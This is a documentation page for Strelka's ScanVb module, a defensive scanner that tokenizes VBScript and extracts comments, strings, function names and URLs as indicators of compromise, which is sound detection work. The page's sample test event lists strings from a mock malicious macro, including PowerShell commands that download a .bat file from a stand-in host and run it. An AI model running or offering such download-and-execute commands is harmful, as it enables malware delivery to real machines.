Skip to content

ScanVb

Scanner for Visual Basic (VB) script files.

This scanner parses VB script files to extract various components like comments, function names, strings, and URLs. It leverages the Pygments lexer for VB.NET to tokenize the script data and then extracts useful information from these tokens.

Attributes:

Name Type Description
lexer

A Pygments lexer object for tokenizing VB.NET scripts.

url_regex

A compiled regex pattern for extracting URLs from the script.

Source code in strelka/src/python/strelka/scanners/scan_vb.py
class ScanVb(strelka.Scanner):
    """
    Scanner for Visual Basic (VB) script files.

    This scanner parses VB script files to extract various components like comments,
    function names, strings, and URLs. It leverages the Pygments lexer for VB.NET to
    tokenize the script data and then extracts useful information from these tokens.

    Attributes:
        lexer: A Pygments lexer object for tokenizing VB.NET scripts.
        url_regex: A compiled regex pattern for extracting URLs from the script.
    """

    def init(self):
        # Initialize the lexer for VB.NET language using Pygments
        self.lexer = lexers.get_lexer_by_name("vbnet")

        # Regular expression to capture URLs, considering various schemes and TLDs.
        self.url_regex = re.compile(
            r'(?:\b[a-z\d.-]+://[^<>\s\(\)]+|\b(?:(?:(?:[^\s!@#$%^&*()_=+[\]{}\|;:\'",.<>/?]+)\.)+(?:aaa|aarp|abarth|abb|abbott|abbvie|abc|able|abogado|abudhabi|ac|academy|accenture|accountant|accountants|aco|active|actor|ad|adac|ads|adult|ae|aeg|aero|aetna|af|afamilycompany|afl|africa|ag|agakhan|agency|ai|aig|aigo|airbus|airforce|airtel|akdn|al|alfaromeo|alibaba|alipay|allfinanz|allstate|ally|alsace|alstom|am|americanexpress|americanfamily|amex|amfam|amica|amsterdam|analytics|android|anquan|anz|ao|aol|apartments|app|apple|aq|aquarelle|ar|arab|aramco|archi|army|arpa|art|arte|as|asda|asia|associates|at|athleta|attorney|au|auction|audi|audible|audio|auspost|author|auto|autos|avianca|aw|aws|ax|axa|az|azure|ba|baby|baidu|banamex|bananarepublic|band|bank|bar|barcelona|barclaycard|barclays|barefoot|bargains|baseball|basketball|bauhaus|bayern|bb|bbc|bbt|bbva|bcg|bcn|bd|be|beats|beauty|beer|bentley|berlin|best|bestbuy|bet|bf|bg|bh|bharti|bi|bible|bid|bike|bing|bingo|bio|biz|bj|black|blackfriday|blanco|blockbuster|blog|bloomberg|blue|bm|bms|bmw|bn|bnl|bnpparibas|bo|boats|boehringer|bofa|bom|bond|boo|book|booking|bosch|bostik|boston|bot|boutique|box|br|bradesco|bridgestone|broadway|broker|brother|brussels|bs|bt|budapest|bugatti|build|builders|business|buy|buzz|bv|bw|by|bz|bzh|ca|cab|cafe|cal|call|calvinklein|cam|camera|camp|cancerresearch|canon|capetown|capital|capitalone|car|caravan|cards|care|career|careers|cars|cartier|casa|case|caseih|cash|casino|cat|catering|catholic|cba|cbn|cbre|cbs|cc|cd|ceb|center|ceo|cern|cf|cfa|cfd|cg|ch|chanel|channel|charity|chase|chat|cheap|chintai|christmas|chrome|chrysler|church|ci|cipriani|circle|cisco|citadel|citi|citic|city|cityeats|ck|cl|claims|cleaning|click|clinic|clinique|clothing|cloud|club|clubmed|cm|cn|co|coach|codes|coffee|college|cologne|com|comcast|commbank|community|company|compare|computer|comsec|condos|construction|consulting|contact|contractors|cooking|cookingchannel|cool|coop|corsica|country|coupon|coupons|courses|cr|credit|creditcard|creditunion|cricket|crown|crs|cruise|cruises|csc|cu|cuisinella|cv|cw|cx|cy|cymru|cyou|cz|dabur|dad|dance|data|date|dating|datsun|day|dclk|dds|de|deal|dealer|deals|degree|delivery|dell|deloitte|delta|democrat|dental|dentist|desi|design|dev|dhl|diamonds|diet|digital|direct|directory|discount|discover|dish|diy|dj|dk|dm|dnp|do|docs|doctor|dodge|dog|doha|domains|dot|download|drive|dtv|dubai|duck|dunlop|duns|dupont|durban|dvag|dvr|dz|earth|eat|ec|eco|edeka|edu|education|ee|eg|email|emerck|energy|engineer|engineering|enterprises|epost|epson|equipment|er|ericsson|erni|es|esq|estate|esurance|et|etisalat|eu|eurovision|eus|events|everbank|exchange|expert|exposed|express|extraspace|fage|fail|fairwinds|faith|family|fan|fans|farm|farmers|fashion|fast|fedex|feedback|ferrari|ferrero|fi|fiat|fidelity|fido|film|final|finance|financial|fire|firestone|firmdale|fish|fishing|fit|fitness|fj|fk|flickr|flights|flir|florist|flowers|fly|fm|fo|foo|food|foodnetwork|football|ford|forex|forsale|forum|foundation|fox|fr|free|fresenius|frl|frogans|frontdoor|frontier|ftr|fujitsu|fujixerox|fun|fund|furniture|futbol|fyi|ga|gal|gallery|gallo|gallup|game|games|gap|garden|gb|gbiz|gd|gdn|ge|gea|gent|genting|george|gf|gg|ggee|gh|gi|gift|gifts|gives|giving|gl|glade|glass|gle|global|globo|gm|gmail|gmbh|gmo|gmx|gn|godaddy|gold|goldpoint|golf|goo|goodhands|goodyear|goog|google|gop|got|gov|gp|gq|gr|grainger|graphics|gratis|green|gripe|grocery|group|gs|gt|gu|guardian|gucci|guge|guide|guitars|guru|gw|gy|hair|hamburg|hangout|haus|hbo|hdfc|hdfcbank|health|healthcare|help|helsinki|here|hermes|hgtv|hiphop|hisamitsu|hitachi|hiv|hk|hkt|hm|hn|hockey|holdings|holiday|homedepot|homegoods|homes|homesense|honda|honeywell|horse|hospital|host|hosting|hot|hoteles|hotels|hotmail|house|how|hr|hsbc|ht|hu|hughes|hyatt|hyundai|ibm|icbc|ice|icu|id|ie|ieee|ifm|ikano|il|im|imamat|imdb|immo|immobilien|in|inc|industries|infiniti|info|ing|ink|institute|insurance|insure|int|intel|international|intuit|investments|io|ipiranga|iq|ir|irish|is|iselect|ismaili|ist|istanbul|it|itau|itv|iveco|jaguar|java|jcb|jcp|je|jeep|jetzt|jewelry|jio|jlc|jll|jm|jmp|jnj|jo|jobs|joburg|jot|joy|jp|jpmorgan|jprs|juegos|juniper|kaufen|kddi|ke|kerryhotels|kerrylogistics|kerryproperties|kfh|kg|kh|ki|kia|kim|kinder|kindle|kitchen|kiwi|km|kn|koeln|komatsu|kosher|kp|kpmg|kpn|kr|krd|kred|kuokgroup|kw|ky|kyoto|kz|la|lacaixa|ladbrokes|lamborghini|lamer|lancaster|lancia|lancome|land|landrover|lanxess|lasalle|lat|latino|latrobe|law|lawyer|lb|lc|lds|lease|leclerc|lefrak|legal|lego|lexus|lgbt|li|liaison|lidl|life|lifeinsurance|lifestyle|lighting|like|lilly|limited|limo|lincoln|linde|link|lipsy|live|living|lixil|lk|llc|loan|loans|locker|locus|loft|lol|london|lotte|lotto|love|lpl|lplfinancial|lr|ls|lt|ltd|ltda|lu|lundbeck|lupin|luxe|luxury|lv|ly|ma|macys|madrid|maif|maison|makeup|man|management|mango|map|market|marketing|markets|marriott|marshalls|maserati|mattel|mba|mc|mckinsey|md|me|med|media|meet|melbourne|meme|memorial|men|menu|merckmsd|metlife|mg|mh|miami|microsoft|mil|mini|mint|mit|mitsubishi|mk|ml|mlb|mls|mm|mma|mn|mo|mobi|mobile|mobily|moda|moe|moi|mom|monash|money|monster|mopar|mormon|mortgage|moscow|moto|motorcycles|mov|movie|movistar|mp|mq|mr|ms|msd|mt|mtn|mtr|mu|museum|mutual|mv|mw|mx|my|mz|na|nab|nadex|nagoya|name|nationwide|natura|navy|nba|nc|ne|nec|net|netbank|netflix|network|neustar|new|newholland|news|next|nextdirect|nexus|nf|nfl|ng|ngo|nhk|ni|nico|nike|nikon|ninja|nissan|nissay|nl|no|nokia|northwesternmutual|norton|now|nowruz|nowtv|np|nr|nra|nrw|ntt|nu|nyc|nz|obi|observer|off|office|okinawa|olayan|olayangroup|oldnavy|ollo|om|omega|one|ong|onl|online|onyourside|ooo|open|oracle|orange|org|organic|origins|osaka|otsuka|ott|ovh|pa|page|panasonic|panerai|paris|pars|partners|parts|party|passagens|pay|pccw|pe|pet|pf|pfizer|pg|ph|pharmacy|phd|philips|phone|photo|photography|photos|physio|piaget|pics|pictet|pictures|pid|pin|ping|pink|pioneer|pizza|pk|pl|place|play|playstation|plumbing|plus|pm|pn|pnc|pohl|poker|politie|porn|post|pr|pramerica|praxi|press|prime|pro|prod|productions|prof|progressive|promo|properties|property|protection|pru|prudential|ps|pt|pub|pw|pwc|py|qa|qpon|quebec|quest|qvc|racing|radio|raid|re|read|realestate|realtor|realty|recipes|red|redstone|redumbrella|rehab|reise|reisen|reit|reliance|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rexroth|rich|richardli|ricoh|rightathome|ril|rio|rip|rmit|ro|rocher|rocks|rodeo|rogers|room|rs|rsvp|ru|rugby|ruhr|run|rw|rwe|ryukyu|sa|saarland|safe|safety|sakura|sale|salon|samsclub|samsung|sandvik|sandvikcoromant|sanofi|sap|sarl|sas|save|saxo|sb|sbi|sbs|sc|sca|scb|schaeffler|schmidt|scholarships|school|schule|schwarz|science|scjohnson|scor|scot|sd|se|search|seat|secure|security|seek|select|sener|services|ses|seven|sew|sex|sexy|sfr|sg|sh|shangrila|sharp|shaw|shell|shia|shiksha|shoes|shop|shopping|shouji|show|showtime|shriram|si|silk|sina|singles|site|sj|sk|ski|skin|sky|skype|sl|sling|sm|smart|smile|sn|sncf|so|soccer|social|softbank|software|sohu|solar|solutions|song|sony|soy|space|spiegel|sport|spot|spreadbetting|sr|srl|srt|st|stada|staples|star|starhub|statebank|statefarm|statoil|stc|stcgroup|stockholm|storage|store|stream|studio|study|style|su|sucks|supplies|supply|support|surf|surgery|suzuki|sv|swatch|swiftcover|swiss|sx|sy|sydney|symantec|systems|sz|tab|taipei|talk|taobao|target|tatamotors|tatar|tattoo|tax|taxi|tc|tci|td|tdk|team|tech|technology|tel|telefonica|temasek|tennis|teva|tf|tg|th|thd|theater|theatre|tiaa|tickets|tienda|tiffany|tips|tires|tirol|tj|tjmaxx|tjx|tk|tkmaxx|tl|tm|tmall|tn|to|today|tokyo|tools|top|toray|toshiba|total|tours|town|toyota|toys|tr|trade|trading|training|travel|travelchannel|travelers|travelersinsurance|trust|trv|tt|tube|tui|tunes|tushu|tv|tvs|tw|tz|ua|ubank|ubs|uconnect|ug|uk|unicom|university|uno|uol|ups|us|uy|uz|va|vacations|vana|vanguard|vc|ve|vegas|ventures|verisign|versicherung|vet|vg|vi|viajes|video|vig|viking|villas|vin|vip|virgin|visa|vision|vistaprint|viva|vivo|vlaanderen|vn|vodka|volkswagen|volvo|vote|voting|voto|voyage|vu|vuelos|wales|walmart|walter|wang|wanggou|warman|watch|watches|weather|weatherchannel|webcam|weber|website|wed|wedding|weibo|weir|wf|whoswho|wien|wiki|williamhill|win|windows|wine|winners|wme|wolterskluwer|woodside|work|works|world|wow|ws|wtc|wtf|xbox|xerox|xfinity|xihuan|xin|xn--11b4c3d|xn--1ck2e1b|xn--1qqw23a|xn--2scrj9c|xn--30rr7y|xn--3bst00m|xn--3ds443g|xn--3e0b707e|xn--3hcrj9c|xn--3oq18vl8pn36a|xn--3pxu8k|xn--42c2d9a|xn--45br5cyl|xn--45brj9c|xn--45q11c|xn--4gbrim|xn--54b7fta0cc|xn--55qw42g|xn--55qx5d|xn--5su34j936bgsg|xn--5tzm5g|xn--6frz82g|xn--6qq986b3xl|xn--80adxhks|xn--80ao21a|xn--80aqecdr1a|xn--80asehdb|xn--80aswg|xn--8y0a063a|xn--90a3ac|xn--90ae|xn--90ais|xn--9dbq2a|xn--9et52u|xn--9krt00a|xn--b4w605ferd|xn--bck1b9a5dre4c|xn--c1avg|xn--c2br7g|xn--cck2b3b|xn--cg4bki|xn--clchc0ea0b2g2a9gcd|xn--czr694b|xn--czrs0t|xn--czru2d|xn--d1acj3b|xn--d1alf|xn--e1a4c|xn--eckvdtc9d|xn--efvy88h|xn--estv75g|xn--fct429k|xn--fhbei|xn--fiq228c5hs|xn--fiq64b|xn--fiqs8s|xn--fiqz9s|xn--fjq720a|xn--flw351e|xn--fpcrj9c3d|xn--fzc2c9e2c|xn--fzys8d69uvgm|xn--g2xx48c|xn--gckr3f0f|xn--gecrj9c|xn--gk3at1e|xn--h2breg3eve|xn--h2brj9c|xn--h2brj9c8c|xn--hxt814e|xn--i1b6b1a6a2e|xn--imr513n|xn--io0a7i|xn--j1aef|xn--j1amh|xn--j6w193g|xn--jlq61u9w7b|xn--jvr189m|xn--kcrx77d1x4a|xn--kprw13d|xn--kpry57d|xn--kpu716f|xn--kput3i|xn--l1acc|xn--lgbbat1ad8j|xn--mgb9awbf|xn--mgba3a3ejt|xn--mgba3a4f16a|xn--mgba7c0bbn0a|xn--mgbaakc7dvf|xn--mgbaam7a8h|xn--mgbab2bd|xn--mgbai9azgqp6j|xn--mgbayh7gpa|xn--mgbb9fbpob|xn--mgbbh1a|xn--mgbbh1a71e|xn--mgbc0a9azcg|xn--mgbca7dzdo|xn--mgberp4a5d4ar|xn--mgbgu82a|xn--mgbi4ecexp|xn--mgbpl2fh|xn--mgbt3dhd|xn--mgbtx2b|xn--mgbx4cd0ab|xn--mix891f|xn--mk1bu44c|xn--mxtq1m|xn--ngbc5azd|xn--ngbe9e0a|xn--ngbrx|xn--node|xn--nqv7f|xn--nqv7fs00ema|xn--nyqy26a|xn--o3cw4h|xn--ogbpf8fl|xn--otu796d|xn--p1acf|xn--p1ai|xn--pbt977c|xn--pgbs0dh|xn--pssy2u|xn--q9jyb4c|xn--qcka1pmc|xn--qxam|xn--rhqv96g|xn--rovu88b|xn--rvc1e0am3e|xn--s9brj9c|xn--ses554g|xn--t60b56a|xn--tckwe|xn--tiq49xqyj|xn--unup4y|xn--vermgensberater-ctb|xn--vermgensberatung-pwb|xn--vhquv|xn--vuq861b|xn--w4r85el8fhu5dnra|xn--w4rs40l|xn--wgbh1c|xn--wgbl6a|xn--xhq521b|xn--xkc2al3hye2a|xn--xkc2dl3a5ee0h|xn--y9a3aq|xn--yfro4i67o|xn--ygbi2ammx|xn--zfr164b|xxx|xyz|yachts|yahoo|yamaxun|yandex|ye|yodobashi|yoga|yokohama|you|youtube|yt|yun|za|zappos|zara|zero|zip|zippo|zm|zone|zuerich|zw)|(?:(?:[0-9]|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])\.){3}(?:[0-9]|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5]))(?:[;/][^#?<>\s]*)?(?:\?[^#<>\s]*)?(?:#[^<>\s\(\)]*)?(?!\w))',
            re.IGNORECASE,
        )

    def scan(self, data, file, options, expire_at):
        """
        Scans the VB script file, tokenizes it, and extracts useful components.

        Args:
            data: Content of the file being scanned.
            file: File metadata.
            options: Scanner options.
            expire_at: Expiry timestamp of the scan task.
        """
        # Tokenize the script data using the Pygments lexer
        try:
            # Tokenize the script data using the Pygments lexer
            highlight = pygments.highlight(
                data, self.lexer, formatters.RawTokenFormatter()
            )
        except Exception as e:
            self.flags.append(f"highlighting_error: {str(e)[:50]}")
            return

        try:
            highlight_list = highlight.split(b"\n")
        except Exception as e:
            self.flags.append(f"highlight_split_error: {str(e)[:50]}")
            return

        # Initialize containers for script components
        ordered_highlights = []

        for hl in highlight_list:
            try:
                split_highlight = hl.split(b"\t")
                if len(split_highlight) == 2:
                    token, value = split_highlight
                    token = token.decode()
                    value = value.decode().strip("'\"").strip()

                    # Add non-empty values to the ordered highlights
                    if value:
                        ordered_highlights.append({"token": token, "value": value})
            except Exception as e:
                self.flags.append(f"token_parsing_error: {str(e)[:50]}")

        # Initialize event fields to store extracted data
        self.event.setdefault("tokens", [])
        self.event.setdefault("comments", [])
        self.event.setdefault("functions", [])
        self.event.setdefault("names", [])
        self.event.setdefault("operators", [])
        self.event.setdefault("strings", [])
        self.event.setdefault("urls", [])

        # Get script length
        self.event["script_length_bytes"] = len(data)

        # Process and categorize each token
        try:
            for ohlp in ordered_highlights:
                self.categorize_token(ohlp)
        except Exception as e:
            self.flags.append(f"token_categorization_error: {str(e)[:50]}")

        # Remove duplicates and add URLs as IOCs
        try:
            if self.event["urls"]:
                self.event["urls"] = list(set(self.event["urls"]))
                self.add_iocs(self.event["urls"])
        except Exception as e:
            self.flags.append(f"ioc_extraction_error: {str(e)[:50]}")

    def categorize_token(self, ohlp):
        """
        Categorizes a token and extracts relevant information.

        Args:
            ohlp: A dictionary containing a token and its value.
        """
        token, value = ohlp["token"], ohlp["value"]

        if token not in self.event["tokens"]:
            self.event["tokens"].append(token)

        if token == "Token.Comment":
            if value not in self.event["comments"]:
                self.event["comments"].append(value)
            self.extract_urls(value)

        elif token == "Token.Name.Function":
            if value not in self.event["functions"]:
                self.event["functions"].append(value)

        elif token == "Token.Name":
            if value not in self.event["names"]:
                self.event["names"].append(value)

        elif token == "Token.Operator":
            if value not in self.event["operators"]:
                self.event["operators"].append(value)

        elif token == "Token.Literal.String":
            if value not in self.event["strings"]:
                self.event["strings"].append(value)
            self.extract_urls(value)

    def extract_urls(self, text):
        """
        Extracts URLs from the provided text using regex matching.

        Args:
            text: Text content from which URLs are to be extracted.
        """
        try:
            urls = self.url_regex.findall(text)
            for url in urls:
                if url not in self.event["urls"]:
                    self.event["urls"].append(url)
        except Exception as e:
            self.flags.append(f"url_extraction_error: {str(e)[:50]}")

scan(data, file, options, expire_at)

Scans the VB script file, tokenizes it, and extracts useful components.

Parameters:

Name Type Description Default
data

Content of the file being scanned.

required
file

File metadata.

required
options

Scanner options.

required
expire_at

Expiry timestamp of the scan task.

required
Source code in strelka/src/python/strelka/scanners/scan_vb.py
def scan(self, data, file, options, expire_at):
    """
    Scans the VB script file, tokenizes it, and extracts useful components.

    Args:
        data: Content of the file being scanned.
        file: File metadata.
        options: Scanner options.
        expire_at: Expiry timestamp of the scan task.
    """
    # Tokenize the script data using the Pygments lexer
    try:
        # Tokenize the script data using the Pygments lexer
        highlight = pygments.highlight(
            data, self.lexer, formatters.RawTokenFormatter()
        )
    except Exception as e:
        self.flags.append(f"highlighting_error: {str(e)[:50]}")
        return

    try:
        highlight_list = highlight.split(b"\n")
    except Exception as e:
        self.flags.append(f"highlight_split_error: {str(e)[:50]}")
        return

    # Initialize containers for script components
    ordered_highlights = []

    for hl in highlight_list:
        try:
            split_highlight = hl.split(b"\t")
            if len(split_highlight) == 2:
                token, value = split_highlight
                token = token.decode()
                value = value.decode().strip("'\"").strip()

                # Add non-empty values to the ordered highlights
                if value:
                    ordered_highlights.append({"token": token, "value": value})
        except Exception as e:
            self.flags.append(f"token_parsing_error: {str(e)[:50]}")

    # Initialize event fields to store extracted data
    self.event.setdefault("tokens", [])
    self.event.setdefault("comments", [])
    self.event.setdefault("functions", [])
    self.event.setdefault("names", [])
    self.event.setdefault("operators", [])
    self.event.setdefault("strings", [])
    self.event.setdefault("urls", [])

    # Get script length
    self.event["script_length_bytes"] = len(data)

    # Process and categorize each token
    try:
        for ohlp in ordered_highlights:
            self.categorize_token(ohlp)
    except Exception as e:
        self.flags.append(f"token_categorization_error: {str(e)[:50]}")

    # Remove duplicates and add URLs as IOCs
    try:
        if self.event["urls"]:
            self.event["urls"] = list(set(self.event["urls"]))
            self.add_iocs(self.event["urls"])
    except Exception as e:
        self.flags.append(f"ioc_extraction_error: {str(e)[:50]}")

categorize_token(ohlp)

Categorizes a token and extracts relevant information.

Parameters:

Name Type Description Default
ohlp

A dictionary containing a token and its value.

required
Source code in strelka/src/python/strelka/scanners/scan_vb.py
def categorize_token(self, ohlp):
    """
    Categorizes a token and extracts relevant information.

    Args:
        ohlp: A dictionary containing a token and its value.
    """
    token, value = ohlp["token"], ohlp["value"]

    if token not in self.event["tokens"]:
        self.event["tokens"].append(token)

    if token == "Token.Comment":
        if value not in self.event["comments"]:
            self.event["comments"].append(value)
        self.extract_urls(value)

    elif token == "Token.Name.Function":
        if value not in self.event["functions"]:
            self.event["functions"].append(value)

    elif token == "Token.Name":
        if value not in self.event["names"]:
            self.event["names"].append(value)

    elif token == "Token.Operator":
        if value not in self.event["operators"]:
            self.event["operators"].append(value)

    elif token == "Token.Literal.String":
        if value not in self.event["strings"]:
            self.event["strings"].append(value)
        self.extract_urls(value)

extract_urls(text)

Extracts URLs from the provided text using regex matching.

Parameters:

Name Type Description Default
text

Text content from which URLs are to be extracted.

required
Source code in strelka/src/python/strelka/scanners/scan_vb.py
def extract_urls(self, text):
    """
    Extracts URLs from the provided text using regex matching.

    Args:
        text: Text content from which URLs are to be extracted.
    """
    try:
        urls = self.url_regex.findall(text)
        for url in urls:
            if url not in self.event["urls"]:
                self.event["urls"].append(url)
    except Exception as e:
        self.flags.append(f"url_extraction_error: {str(e)[:50]}")

Features

The features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.

Feature
Support
IOC Support
Emit Files
Extended Docs
Malware Scanner
Image Thumbnails

Tastes

Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.

Source Filetype
Include / Exclude
hta_file
vb_file
vbscript

Scanner Fields

This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.

Field Name
Field Type
comments
list
elapsed
str
flags
list
functions
list
iocs
str
names
list
operators
list
script_length_bytes
int
strings
list
tokens
list
urls
str

Sample Event

Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.

    test_scan_event = {
        "elapsed": 0.001,
        "flags": [],
        "comments": ["AutoOpen Macro"],
        "functions": ["AutoOpen", "Document_Open", "Testing_Iocs"],
        "names": [
            "Explicit",
            "MsgBox",
            "objWMIService",
            "GetObject",
            "objStartup",
            "Get",
            "objConfig",
            "SpawnInstance_",
            "ShowWindow",
            "objProcess",
            "ExecuteCmdAsync",
        ],
        "operators": ["="],
        "strings": [
            "Hello World!",
            "winmgmts:\\\\\\\\.\\\\root\\\\cimv2",
            "Win32_ProcessStartup",
            "winmgmts:\\\\\\\\.\\\\root\\\\cimv2:Win32_Process",
            "cmd /c powershell Invoke-WebRequest -Uri https://www.test.example.com -OutFile $env:tmp\\\\test.txt\\nStart-Process -Filepath $env:tmp\\\\invoice.one",
            "cmd /c powershell Invoke-WebRequest -Uri https://www.test.com/test.bat -OutFile $env:tmp\\\\test.bat\\nStart-Process -Filepath $env:tmp\\\\test.bat",
        ],
        "script_length_bytes": 752,
        "tokens": [
            "Token.Keyword",
            "Token.Name",
            "Token.Text.Whitespace",
            "Token.Name.Function",
            "Token.Punctuation",
            "Token.Comment",
            "Token.Literal.String",
            "Token.Operator",
            "Token.Literal.Number.Integer",
        ],
        "urls": unordered(
            [
                "tmp\\\\invoice.one",
                "https://www.test.com/test.bat",
                "https://www.test.example.com",
            ]
        ),
        "iocs": unordered(
            [
                {
                    "ioc": "www.test.example.com",
                    "ioc_type": "domain",
                    "scanner": "ScanVb",
                },
                {
                    "ioc": "https://www.test.example.com",
                    "ioc_type": "url",
                    "scanner": "ScanVb",
                },
                {"ioc": "www.test.com", "ioc_type": "domain", "scanner": "ScanVb"},
                {
                    "ioc": "https://www.test.com/test.bat",
                    "ioc_type": "url",
                    "scanner": "ScanVb",
                },
            ]
        ),
    }